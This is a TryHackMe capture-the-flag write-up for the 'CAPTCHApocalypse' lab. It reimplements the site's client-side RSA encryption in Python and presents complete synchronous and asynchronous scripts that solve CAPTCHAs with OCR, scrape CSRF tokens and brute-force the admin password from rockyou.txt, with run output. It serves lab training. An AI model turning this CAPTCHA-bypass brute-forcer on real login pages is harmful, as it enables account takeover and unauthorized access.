Skip to content

TryHackMe - CAPTCHApocalypse

Introduction


OS: WEB

URL: CAPTCHApocalypse

Level: Medium


Solve a simple captcha challenge and get the flag.

Recon

┌──(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ sudo nmap --min-rate=1000 -vv $IP -p-

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 60
80/tcp open  http    syn-ack ttl 60

Visiting the webpage we get a login prompt with a captcha challenge.

Login Page

The challenge page provides us a hint that the password is in first 100 lines of rockyou.txt file.

password_hint

Guessing the username is admin lets try to enter a random password and check the request made.

login_request

Login request and response are both encrypted.

Note

This challenge was likely meant to be solved using browser-based automation tools like Selenium or Puppeteer, but I will instead solve it using requests / httpx library in Python.

Taking a look at all the resources loaded there is a custom script.js file which handles all the encryption and decryption routines.

script_js


Exploitation

Rewriting the encryption and decryption routines

Since the script.js file is not obfuscated / minified, we can easily read the code and rewrite the encryption and decryption routines in Python.

script.js
const serverPublicKey = `-----BEGIN PUBLIC KEY-----
[...SNIPPED...]
-----END PUBLIC KEY-----`;

const clientPrivateKey = `-----BEGIN PRIVATE KEY-----
[...SNIPPED...]
-----END PRIVATE KEY-----`;


// Convert PEM to RSA Key Object
function importPublicKey(pem) {
    return forge.pki.publicKeyFromPem(pem);
}

function importPrivateKey(pem) {
    return forge.pki.privateKeyFromPem(pem);
}

// Encrypt Data 
function encryptData(plainText) {
    const publicKey = importPublicKey(serverPublicKey);
    const encrypted = publicKey.encrypt(plainText); 
    return forge.util.encode64(encrypted); 
}

// Decrypt Data
function decryptData(encryptedData) {
    try {
        const privateKey = importPrivateKey(clientPrivateKey);
        const decrypted = privateKey.decrypt(forge.util.decode64(encryptedData)); 
        return decrypted;
    } catch (error) {
        console.error("Decryption error:", error);
        return "Decryption Failed";
    }
}

Tip

Look at the end of this section for a fully working script without the snipped parts

Rewriting the above code in Python using pycryptodomex library.

  • setup the encryption and decryption functions
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5
import base64

server_publicKey = """-----BEGIN PUBLIC KEY-----
[...SNIPPED...]
-----END PUBLIC KEY-----"""

client_privateKey = """-----BEGIN PRIVATE KEY-----
[...SNIPPED...]
-----END PRIVATE KEY-----"""


# setup encryption and decryption functions
def encrypt_data(data, key=server_publicKey):
    public_key = RSA.import_key(key)
    cipher = PKCS1_v1_5.new(public_key)
    encrypted = cipher.encrypt(data.encode())
    return base64.b64encode(encrypted).decode()

def decrypt_data(encrypted_data, key=client_privateKey):
    private_key = RSA.import_key(key)
    cipher = PKCS1_v1_5.new(private_key)
    sentinel = b"DECRYPTION_FAILED"
    decrypted = cipher.decrypt(base64.b64decode(encrypted_data), sentinel)
    return decrypted.decode()
  • create a login function
script.js
// Login Function
async function login() {
    const username = document.getElementById("username").value;
    const password = document.getElementById("password").value;
    const csrf_token = document.getElementById("csrf_token").value;
    const captcha_input = document.getElementById("captcha_input").value;

    if (!username || !password) {
        showError("Username and password cannot be empty.");
        return;
    }

    const params = new URLSearchParams();
    params.append("action", "login");
    params.append("csrf_token", csrf_token);
    params.append("username", username);
    params.append("password", password);
    params.append("captcha_input", captcha_input);

    const requestData = params.toString();

    const encrypted = encryptData(requestData);

    const response = await fetch("server.php", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ data: encrypted })
    });

    const responseData = await response.json();

    if (responseData.data) {
        const decryptedResponse = decryptData(responseData.data);
        if (decryptedResponse.includes("Login successful")) {
            window.location.href = "dashboard.php";
        }else if (decryptedResponse.includes("Login failed")){
            window.location.href = "index.php?error=true";
        } else {
            showError(decryptedResponse);
        }
    } else {
        showError("Server Error: No response data received.");
    }
}
import requests
from urllib.parse import urlencode # for converting the params to www-form-urlencoded format
import re

def do_login(username, password, csrf_token, captcha_input, cookies):
    # create all the parameters required for the login request (taken from `script.js` `login()` function)
    params = {
        "action": "login",
        "csrf_token": csrf_token,
        "username": username,
        "password": password,
        "captcha_input": captcha_input
    }

    # convert the params to www-form-urlencoded format (username=admin&password=1234&csrf_token=abcd&captcha_input=xyz)
    request_data = urlencode(params)

    # encrypt the request data using the encrypt_data function
    encrypted = encrypt_data(request_data)

    # make the POST request to the server with the encrypted data
    # with the correct cookie that matches up with the session and csrf token
    response = requests.post(f"http://{HOST}/server.php", json={"data": encrypted}, cookies=cookies)

    if response.status_code == 200:
        response_data = response.json()
        if 'data' in response_data:
            # decrypt the response data using the decrypt_data function
            decrypted_response = decrypt_data(response_data['data'])
            return decrypted_response
        else:
            return "Server Error: No response data received."
    else:
        return f"HTTP Error: {response.status_code}"
  • get the CRSF token, cookie and the captcha image
def get_login_page():
    # get CSRF Token and a fresh php session to fetch the captcha
    response = requests.get("http://10.10.24.65/")

    if response.status_code == 200:
        # use regex to extract the CSRF token from the response text
        # <input type="hidden" name="csrf_token" id="csrf_token" value="9b69870f30f4c3d2b43d27a9a3d3d32bcdf3d3a5c6625cdcbf9f617fc1a86678">
        csrf_token_match = re.search(r'<input type="hidden" name="csrf_token" id="csrf_token" value="([^"]+)"', response.text)
        if csrf_token_match:
            csrf_token = csrf_token_match.group(1)
        else:
            raise ValueError("CSRF token not found in the login page.")

    # use the cookies from the response to fetch the captcha
    captcha_response = requests.get("http://10.10.24.65/captcha.php", cookies=response.cookies)
    if captcha_response.status_code == 200:
        # save the captcha as a byte string
        captcha = io.BytesIO(captcha_response.content)
    else:
        raise ValueError("Failed to fetch captcha image.")

    # return the csrf token, captcha image and the cookies
    return csrf_token, captcha, response.cookies
  • solve the captcha using pytesseract

Bodged together from several sources to be accurate about 80% of the time from my testing.

While I experimented with different --psm values 6,7,10 seemed most reliable for this task. You can read more about it here

We can also narrow the charset as all generated captchas are alphanumeric and uppercase only.

import pytesseract
import cv2
import numpy as np

def decode_captcha(captcha_image: io.BytesIO):
    # load the image directly from memory
    file_bytes = np.asarray(bytearray(captcha_image.read()), dtype=np.uint8)

    # decode the image using OpenCV while converting it to grayscale
    img = cv2.imdecode(file_bytes, cv2.IMREAD_GRAYSCALE)

    # Resize (scale up for better OCR)
    img = cv2.resize(img, None, fx=2, fy=2, interpolation=cv2.INTER_CUBIC)

    # Apply binary threshold
    _, img = cv2.threshold(img, 180, 255, cv2.THRESH_BINARY)

    # use `psm` 10 for single word recognition and narrow the charset to alphanumeric uppercase
    config = r'--psm 10 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    text = pytesseract.image_to_string(img, config=config).strip()

    print("CAPTCHA:", text)
    return text
  • create a loop to read the password and try them one at a time. If there are any errors decoding the captcha / incorrect captcha then retry by getting a fresh captcha image and CSRF token.
def main():
    password_file = "/usr/share/wordlists/rockyou.txt"

    # read password one line at a time
    for password in open(password_file, "r"):
        password = password.strip()
        # if the line is empty, skip it
        if not password:
            continue

        # print the current password being tried   
        print(f"Trying password: {password}")

        # create a infinite loop to keep trying to decode the captcha and login until we get a valid captcha decoded text
        while True:
            # get the login page to fetch the CSRF token, captcha image and cookies 
            csrf_token, captcha_image, cookies = get_login_page()

            # decode the captcha image using pytesseract
            captcha_text = decode_captcha(captcha_image)

            # on a likely good captcha, try to login (generated captchas are always 5 characters long)
            if len(captcha_text) == 5:
                # try to login with the decoded captcha text and decrypt the response
                response = do_login("admin", password, csrf_token, captcha_text, cookies)

                # if the response contains "CAPTCHA incorrect." then retry with a fresh captcha
                if "CAPTCHA incorrect." in response:
                    print("CAPTCHA incorrect, retrying...")
                else:
                    # if the response is not "CAPTCHA incorrect." then break out of the loop
                    break

        # check if the response contains "Login failed!" or "Login successful" and print the result
        if "Login failed!" in response:
            print(f"Login failed with password: {password}")
        else:
            print(f"Login successful with password: {password}")
            print("Response:", response)
            # exit the loop as we have found the correct password
            break

brute_password.py

  • Putting it all together.
import io
import requests
import base64
import re

from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5
from urllib.parse import urlencode

import pytesseract
import cv2
import numpy as np
import sys


if len(sys.argv) != 2:
    print("Usage: python brute_captcha_async.py <host>")
    print("Example: python brute_captcha_async.py 127.0.0.1")
    sys.exit(1)

HOST = sys.argv[1]


server_publicKey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt38SAt9XfLRClH+41yxl
NIEOrHcZjGjrZZVV/R/XcuFJI2bBInWrmcnrQguajtO1tehWrdSCto+kP6wI2NyR
qL8tpuovK6SO1KT+TpkceeZyJIN+QGnp19pbLeDG3xZXK94AKxB0xH59DWHWcHNs
ktLz3RnW4xX+YI3o5hn/fcgPrxQ6kK4jYPm0xtbIYtcc86zH9+Cv6R+Y0rwfAXtG
0+YAJDYYRo0Aro1uV2zCG/9Khy/Dxrvm3Qc4OAidZsoS6dFv+0/Hp3UxF8FfAExw
Iwfx6YKfiC4xpGuDlxkyuP90L9T0Ke8KPfKhAqc5+aHE0EqYkXDRQQVrF5fmjdRk
LwIDAQAB
-----END PUBLIC KEY-----"""

client_privateKey = """-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQC1DwWR7yGlsNpg
YaBHWheqnLoZvGuSr3MWcZyoHrql5iwzzOolmu00WwaGiuOwPyl4GjRCR4rwXpGq
sMJiYuwOG6w9gPzIDg1Y11cPtkqzxZ20kX/8DFFlGiurwAK6SOkrtfhLYF56YDJg
WS7lVwtVq5LstdzSeTEtvSFdhNedUZW8l319AYJGjByXwNMUW3u21wGff8hDN8Yu
AMrciW1UJFO2aN39v8Vev1VrAvRItFK1znCq0eNRJKjruEztXO/vZzR8Lc0BA0Uj
OyIizkEQKBx5/OTRf8rqO5CkqcLcr/f0u4ZlH6cJg9jOVJlTeb37S94d3uSx+4Pb
EIw+/Hm7AgMBAAECgf8ICgCTLWjRDCLINdG9WUs8P4YD0bfB1BmDy/8PEYFrQrNv
dzrMG1CgHBU2n9HztJX4HQ+bWTyFPHp/iJ3lr1yYmRlqkJxkZ7LJnOg4KD3CeWGg
zX+2l6I4wV+mfE74B4j9gXTAjrGBEtVuC1R4pykEV/e/JHYpjOKqpTsi0kMm9LH5
a3eiLKtP+zAL+s7DEQopALi2oEq5/0+hJxZVYUX0P6q+A/o5kdheXeWjEuL9nUDR
YM/bcnAOKTE9B7+sZ5SUGDwf6L+MpTBLN7rnNvli6mykmvYwCeFYOKAVXjcFWRg1
3kR0yVxkpPBXC97CZyRsYiRHiYEzRKZo5eHRhHkCgYEA7nPGUNhHtXeT5oIurZgJ
K/FePMzgBxbDXtbAHEpw378Y90BjUUB7YxAZxhiTO1wKsAWhr1VQOdWmqlTrhurN
/XGxrpMuDRuNkYbXjjvmv4SpdgW5YnXR9BA1bjwWbuEoqsLu//oNySrbLVlYP2he
Q3rXeCN2BZDStte2D6VrQukCgYEAwmIBCOjaBWh8VnxnoSsSdjUf1/oXAIzKpEwO
waZadwsqau3ITARGjz0cMuV8s7gXAU6fskXqIMvaAxvr1/GXfoIGTSuSwNRW0MKI
k26HK++R7TPISLXC1PpF33z+uBRi6wiYeRsG+Jo5l4pW9fD4KBSFs2P9H5njWeW+
hH0MiQMCgYEAzCJvD3zoftDc3ARsw44Zo/XhUDmwPEFfhgxgsJeF4/ZsABeuLrv+
JYN+HRmiybl1KNXZYgmuQaTHJqDGdV0EdclkbGhxjyUcYA5I8OoVE7YVgQVLfKAS
2lcZ9sIYDlpRf0acZqWCMcqvkjYfl0DZGfnLBn2NJxyhV4h5wxFBLykCgYAJ9zxW
WJnU7SZyyK4HdU3dAZxAVnIXdSBui/e1tfGtaMUj9kzumMmFTnzDn0Bldmq3hnBp
k2wNgmYLAsN0rs41jjUEf9dmS3yn91FJPcFwXzf8EUuTbr4ubSZn7uCgT2tC4Y3v
p5MT69RIEK+krFYMuACi0d2IYTtmwICkCkU6QQKBgGlXG0c681f1lYVAVryEszrO
We9+VRrO3pDiyY348HBdwyyXpn7vfK+fF5C+prDEtO5IQ6v/tdeYfzKVa0iZhIUF
kp2XdXBSHm7ykeY5LYUAjhoShT2Y3gT1oEH5DjqdTA0oJ0DSvbzMchi+uO5e0ZHO
xuASizGvaR+gZ9+ANTmJ
-----END PRIVATE KEY-----"""


# setup encryption and decryption functions
def encrypt_data(data, key=server_publicKey):
    """
    Encrypts data using the provided public key.
    :param data: The plaintext data to encrypt.
    :param key: The public key in PEM format.
    :return: Base64 encoded encrypted data.
    """

    public_key = RSA.import_key(key)
    cipher = PKCS1_v1_5.new(public_key)
    encrypted = cipher.encrypt(data.encode())
    return base64.b64encode(encrypted).decode()

def decrypt_data(encrypted_data, key=client_privateKey):
    """
    Decrypts data using the provided private key.
    :param encrypted_data: The Base64 encoded encrypted data.
    :param key: The private key in PEM format.
    :return: The decrypted plaintext data.
    """
    private_key = RSA.import_key(key)
    cipher = PKCS1_v1_5.new(private_key)
    sentinel = b"DECRYPTION_FAILED"
    decrypted = cipher.decrypt(base64.b64decode(encrypted_data), sentinel)
    return decrypted.decode()



def do_login(username, password, csrf_token, captcha_input, cookies):
    """
    Simulates a login request to the server.
    :param username: The username for login.
    :param password: The password for login.
    :param csrf_token: CSRF token for security.
    :param captcha_input: User input for captcha.
    :return: Response from the server after decryption.
    """

    if not username or not password:
        return "Username and password cannot be empty."

    params = {
        "action": "login",
        "csrf_token": csrf_token,
        "username": username,
        "password": password,
        "captcha_input": captcha_input
    }

    request_data = urlencode(params)

    encrypted = encrypt_data(request_data)

    response = requests.post(f"http://{HOST}/server.php", json={"data": encrypted}, cookies=cookies)

    if response.status_code == 200:
        response_data = response.json()
        if 'data' in response_data:
            decrypted_response = decrypt_data(response_data['data'])
            return decrypted_response
        else:
            return "Server Error: No response data received."
    else:
        return f"HTTP Error: {response.status_code}"



def get_login_page():
    """
    Fetches the login page from the server.
    :return: The HTML content of the login page.
    """

    # get CSRF Token and a fresh php session to fetch the captcha
    response = requests.get(f"http://{HOST}/")

    if response.status_code == 200:
        # <input type="hidden" name="csrf_token" id="csrf_token" value="9b69870f30f4c3d2b43d27a9a3d3d32bcdf3d3a5c6625cdcbf9f617fc1a86678">
        csrf_token_match = re.search(r'<input type="hidden" name="csrf_token" id="csrf_token" value="([^"]+)"', response.text)
        if csrf_token_match:
            csrf_token = csrf_token_match.group(1)
        else:
            raise ValueError("CSRF token not found in the login page.")

    # use the cookies from the response to fetch the captcha
    captcha_response = requests.get(f"http://{HOST}/captcha.php", cookies=response.cookies)
    if captcha_response.status_code == 200:
        # save the captcha as a byte string
        captcha = io.BytesIO(captcha_response.content)
    else:
        raise ValueError("Failed to fetch captcha image.")


    return csrf_token, captcha, response.cookies


def decode_captcha(captcha_image: io.BytesIO):
    """
    Decodes the captcha image using OCR or any other method.
    :param captcha_image: The captcha image as a byte string.
    :return: The decoded captcha value.
    """
    file_bytes = np.asarray(bytearray(captcha_image.read()), dtype=np.uint8)
    img = cv2.imdecode(file_bytes, cv2.IMREAD_GRAYSCALE)

    # Resize (scale up for better OCR)
    img = cv2.resize(img, None, fx=2, fy=2, interpolation=cv2.INTER_CUBIC)

    # Apply binary threshold
    _, img = cv2.threshold(img, 180, 255, cv2.THRESH_BINARY)

    # OCR config
    config = r'--psm 10 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    text = pytesseract.image_to_string(img, config=config).strip()

    # print("CAPTCHA:", text)
    return text


def main():
    password_file = "/usr/share/wordlists/rockyou.txt"

    for password in open(password_file, "r"):
        password = password.strip()
        if not password:
            continue

        print(f"\33[2K\rTrying password: {password}", end="", flush=True)


        while True:
            csrf_token, captcha_image, cookies = get_login_page()

            captcha_text = decode_captcha(captcha_image)
            # print("Decoded CAPTCHA:", captcha_text)

            # on a likely good captcha, try to login
            if len(captcha_text) == 5:
                response = do_login("admin", password, csrf_token, captcha_text, cookies)


                if "CAPTCHA incorrect." in response:
                    print("\33[2K\rCAPTCHA incorrect, retrying...", end="", flush=True)
                else:
                    break

        if "Login failed!" in response:
            print(f"\33[2K\rLogin failed with password: {password}", end="", flush=True)
        else:
            print(f"\33[2K\rLogin successful with password: {password}")
            print("Response:", response)
            break


if __name__ == "__main__":
    main()

Running the script

  • setup a virtual environment and install the required dependencies
┌──(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ python -m venv /tmp/venv

┌──(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ . /tmp/venv/bin/activate

┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ pip install requests httpx pycryptodomex pytesseract opencv-python numpy
  • run the script with the IP as an argument
┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ python brute_password.py 10.10.111.181
Login successful with password: t*********l
Response: Login successful!
  • Login with the correct password to get the flag

login_with_valid_password.png

!flag

Speeding up the script

To speed up the script, we can use httpx library which supports asynchronous requests. This allows us to fetch multiple captchas and CSRF tokens in parallel, significantly reducing the time taken to brute force the password.

async_brute_password.py

import io
import httpx
import base64
import re

from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5
from urllib.parse import urlencode

import pytesseract
import cv2
import numpy as np

import asyncio 
import sys


if len(sys.argv) != 2:
    print("Usage: python brute_captcha_async.py <host>")
    print("Example: python brute_captcha_async.py 127.0.0.1")
    sys.exit(1)

HOST = sys.argv[1]


semaphore = asyncio.Semaphore(20)  # Limit concurrent requests

server_publicKey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt38SAt9XfLRClH+41yxl
NIEOrHcZjGjrZZVV/R/XcuFJI2bBInWrmcnrQguajtO1tehWrdSCto+kP6wI2NyR
qL8tpuovK6SO1KT+TpkceeZyJIN+QGnp19pbLeDG3xZXK94AKxB0xH59DWHWcHNs
ktLz3RnW4xX+YI3o5hn/fcgPrxQ6kK4jYPm0xtbIYtcc86zH9+Cv6R+Y0rwfAXtG
0+YAJDYYRo0Aro1uV2zCG/9Khy/Dxrvm3Qc4OAidZsoS6dFv+0/Hp3UxF8FfAExw
Iwfx6YKfiC4xpGuDlxkyuP90L9T0Ke8KPfKhAqc5+aHE0EqYkXDRQQVrF5fmjdRk
LwIDAQAB
-----END PUBLIC KEY-----"""

client_privateKey = """-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQC1DwWR7yGlsNpg
YaBHWheqnLoZvGuSr3MWcZyoHrql5iwzzOolmu00WwaGiuOwPyl4GjRCR4rwXpGq
sMJiYuwOG6w9gPzIDg1Y11cPtkqzxZ20kX/8DFFlGiurwAK6SOkrtfhLYF56YDJg
WS7lVwtVq5LstdzSeTEtvSFdhNedUZW8l319AYJGjByXwNMUW3u21wGff8hDN8Yu
AMrciW1UJFO2aN39v8Vev1VrAvRItFK1znCq0eNRJKjruEztXO/vZzR8Lc0BA0Uj
OyIizkEQKBx5/OTRf8rqO5CkqcLcr/f0u4ZlH6cJg9jOVJlTeb37S94d3uSx+4Pb
EIw+/Hm7AgMBAAECgf8ICgCTLWjRDCLINdG9WUs8P4YD0bfB1BmDy/8PEYFrQrNv
dzrMG1CgHBU2n9HztJX4HQ+bWTyFPHp/iJ3lr1yYmRlqkJxkZ7LJnOg4KD3CeWGg
zX+2l6I4wV+mfE74B4j9gXTAjrGBEtVuC1R4pykEV/e/JHYpjOKqpTsi0kMm9LH5
a3eiLKtP+zAL+s7DEQopALi2oEq5/0+hJxZVYUX0P6q+A/o5kdheXeWjEuL9nUDR
YM/bcnAOKTE9B7+sZ5SUGDwf6L+MpTBLN7rnNvli6mykmvYwCeFYOKAVXjcFWRg1
3kR0yVxkpPBXC97CZyRsYiRHiYEzRKZo5eHRhHkCgYEA7nPGUNhHtXeT5oIurZgJ
K/FePMzgBxbDXtbAHEpw378Y90BjUUB7YxAZxhiTO1wKsAWhr1VQOdWmqlTrhurN
/XGxrpMuDRuNkYbXjjvmv4SpdgW5YnXR9BA1bjwWbuEoqsLu//oNySrbLVlYP2he
Q3rXeCN2BZDStte2D6VrQukCgYEAwmIBCOjaBWh8VnxnoSsSdjUf1/oXAIzKpEwO
waZadwsqau3ITARGjz0cMuV8s7gXAU6fskXqIMvaAxvr1/GXfoIGTSuSwNRW0MKI
k26HK++R7TPISLXC1PpF33z+uBRi6wiYeRsG+Jo5l4pW9fD4KBSFs2P9H5njWeW+
hH0MiQMCgYEAzCJvD3zoftDc3ARsw44Zo/XhUDmwPEFfhgxgsJeF4/ZsABeuLrv+
JYN+HRmiybl1KNXZYgmuQaTHJqDGdV0EdclkbGhxjyUcYA5I8OoVE7YVgQVLfKAS
2lcZ9sIYDlpRf0acZqWCMcqvkjYfl0DZGfnLBn2NJxyhV4h5wxFBLykCgYAJ9zxW
WJnU7SZyyK4HdU3dAZxAVnIXdSBui/e1tfGtaMUj9kzumMmFTnzDn0Bldmq3hnBp
k2wNgmYLAsN0rs41jjUEf9dmS3yn91FJPcFwXzf8EUuTbr4ubSZn7uCgT2tC4Y3v
p5MT69RIEK+krFYMuACi0d2IYTtmwICkCkU6QQKBgGlXG0c681f1lYVAVryEszrO
We9+VRrO3pDiyY348HBdwyyXpn7vfK+fF5C+prDEtO5IQ6v/tdeYfzKVa0iZhIUF
kp2XdXBSHm7ykeY5LYUAjhoShT2Y3gT1oEH5DjqdTA0oJ0DSvbzMchi+uO5e0ZHO
xuASizGvaR+gZ9+ANTmJ
-----END PRIVATE KEY-----"""


# setup encryption and decryption functions
def encrypt_data(data, key=server_publicKey):
    """
    Encrypts data using the provided public key.
    :param data: The plaintext data to encrypt.
    :param key: The public key in PEM format.
    :return: Base64 encoded encrypted data.
    """

    public_key = RSA.import_key(key)
    cipher = PKCS1_v1_5.new(public_key)
    encrypted = cipher.encrypt(data.encode())
    return base64.b64encode(encrypted).decode()

def decrypt_data(encrypted_data, key=client_privateKey):
    """
    Decrypts data using the provided private key.
    :param encrypted_data: The Base64 encoded encrypted data.
    :param key: The private key in PEM format.
    :return: The decrypted plaintext data.
    """
    private_key = RSA.import_key(key)
    cipher = PKCS1_v1_5.new(private_key)
    sentinel = b"DECRYPTION_FAILED"
    decrypted = cipher.decrypt(base64.b64decode(encrypted_data), sentinel)
    return decrypted.decode()


async def do_login(username, password, csrf_token, captcha_input, cookies):
    """
    Simulates a login request to the server.
    :param username: The username for login.
    :param password: The password for login.
    :param csrf_token: CSRF token for security.
    :param captcha_input: User input for captcha.
    :return: Response from the server after decryption.
    """

    if not username or not password:
        return "Username and password cannot be empty."

    params = {
        "action": "login",
        "csrf_token": csrf_token,
        "username": username,
        "password": password,
        "captcha_input": captcha_input
    }

    # request_data = "&".join(f"{k}={v}" for k, v in params.items())
    request_data = urlencode(params)

    encrypted = encrypt_data(request_data)

    async with semaphore:
        async with httpx.AsyncClient() as client:
            response = await client.post(f"http://{HOST}/server.php", json={"data": encrypted}, cookies=cookies)

    if response.status_code == 200:
        response_data = response.json()
        if 'data' in response_data:
            decrypted_response = decrypt_data(response_data['data'])
            return decrypted_response
        else:
            return "Server Error: No response data received."
    else:
        return f"HTTP Error: {response.status_code}"



async def get_login_page():
    """
    Fetches the login page from the server.
    :return: The HTML content of the login page.
    """

    # get CSRF Token and a fresh php session to fetch the captcha
    async with semaphore:
        async with httpx.AsyncClient() as client:
            response = await client.get(f"http://{HOST}/")
            if response.status_code == 200:
                # <input type="hidden" name="csrf_token" id="csrf_token" value="9b69870f30f4c3d2b43d27a9a3d3d32bcdf3d3a5c6625cdcbf9f617fc1a86678">
                csrf_token_match = re.search(r'<input type="hidden" name="csrf_token" id="csrf_token" value="([^"]+)"', response.text)
                if csrf_token_match:
                    csrf_token = csrf_token_match.group(1)
                else:
                    raise ValueError("CSRF token not found in the login page.")

            # use the cookies from the response to fetch the captcha
            captcha_response = await client.get(f"http://{HOST}/captcha.php", cookies=response.cookies)
            if captcha_response.status_code == 200:
                # save the captcha as in-memory bytes
                captcha = io.BytesIO(captcha_response.content)
            else:
                raise ValueError("Failed to fetch captcha image.")

            return csrf_token, captcha, response.cookies


def decode_captcha(captcha_image: io.BytesIO):
    """
    Decodes the captcha image using OCR or any other method.
    :param captcha_image: The captcha image as a byte string.
    :return: The decoded captcha value.
    """
    file_bytes = np.asarray(bytearray(captcha_image.read()), dtype=np.uint8)
    img = cv2.imdecode(file_bytes, cv2.IMREAD_GRAYSCALE)

    # Resize (scale up for better OCR)
    img = cv2.resize(img, None, fx=2, fy=2, interpolation=cv2.INTER_CUBIC)

    # Apply binary threshold
    _, img = cv2.threshold(img, 180, 255, cv2.THRESH_BINARY)

    # OCR config
    config = r'--psm 10 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    text = pytesseract.image_to_string(img, config=config).strip()

    # print("CAPTCHA:", text)
    return text


async def try_password(password):
    print(f"\33[2K\rTrying password: {password}", end="", flush=True)
    while True:
        csrf_token, captcha_image, cookies = await get_login_page()

        # spawn a thread to decode the captcha image (to prevent blocking the event loop)
        captcha_text = await asyncio.to_thread(decode_captcha, captcha_image)

        # on a likely good captcha, try to login
        if len(captcha_text) == 5:
            response = await do_login("admin", password, csrf_token, captcha_text, cookies)

            if "CAPTCHA incorrect." in response:
                print("\33[2K\rCAPTCHA incorrect, retrying...", end="", flush=True)
            else:
                break

    if "Login failed!" in response:
        print(f"\33[2K\rLogin failed with password: {password}", end="", flush=True)
    else:
        return response, password

async def main():
    password_file = "/usr/share/wordlists/rockyou.txt"

    count = 0
    tasks = []
    for password in open(password_file, "r"):
        password = password.strip()
        if not password:
            continue

        count += 1
        tasks.append(asyncio.create_task(try_password(password)))

        # for every 20 tasks, wait for them to complete
        if count % 20 == 0:
            for task in asyncio.as_completed(tasks):
                result = await task
                if result:
                    response, password = result
                    print(f"\33[2K\rLogin successful with password: {password}")
                    print("Response:", response)
                    exit(0)
            tasks.clear()  # Clear completed tasks

if __name__ == "__main__":
    asyncio.run(main())
  • timing the script
┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ time python brute_password.py 10.10.111.181
Login successful with password: t*********l
Response: Login successful!

real    94.55s
user    15.26s
sys     2.79s
cpu     19%


┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ time python async_brute_password.py 10.10.111.181
Login successful with password: t*********l
Response: Login successful!

real    15.25s
user    33.54s
sys     5.18s
cpu     253%

A 6.2x speedup with 20 concurrent requests.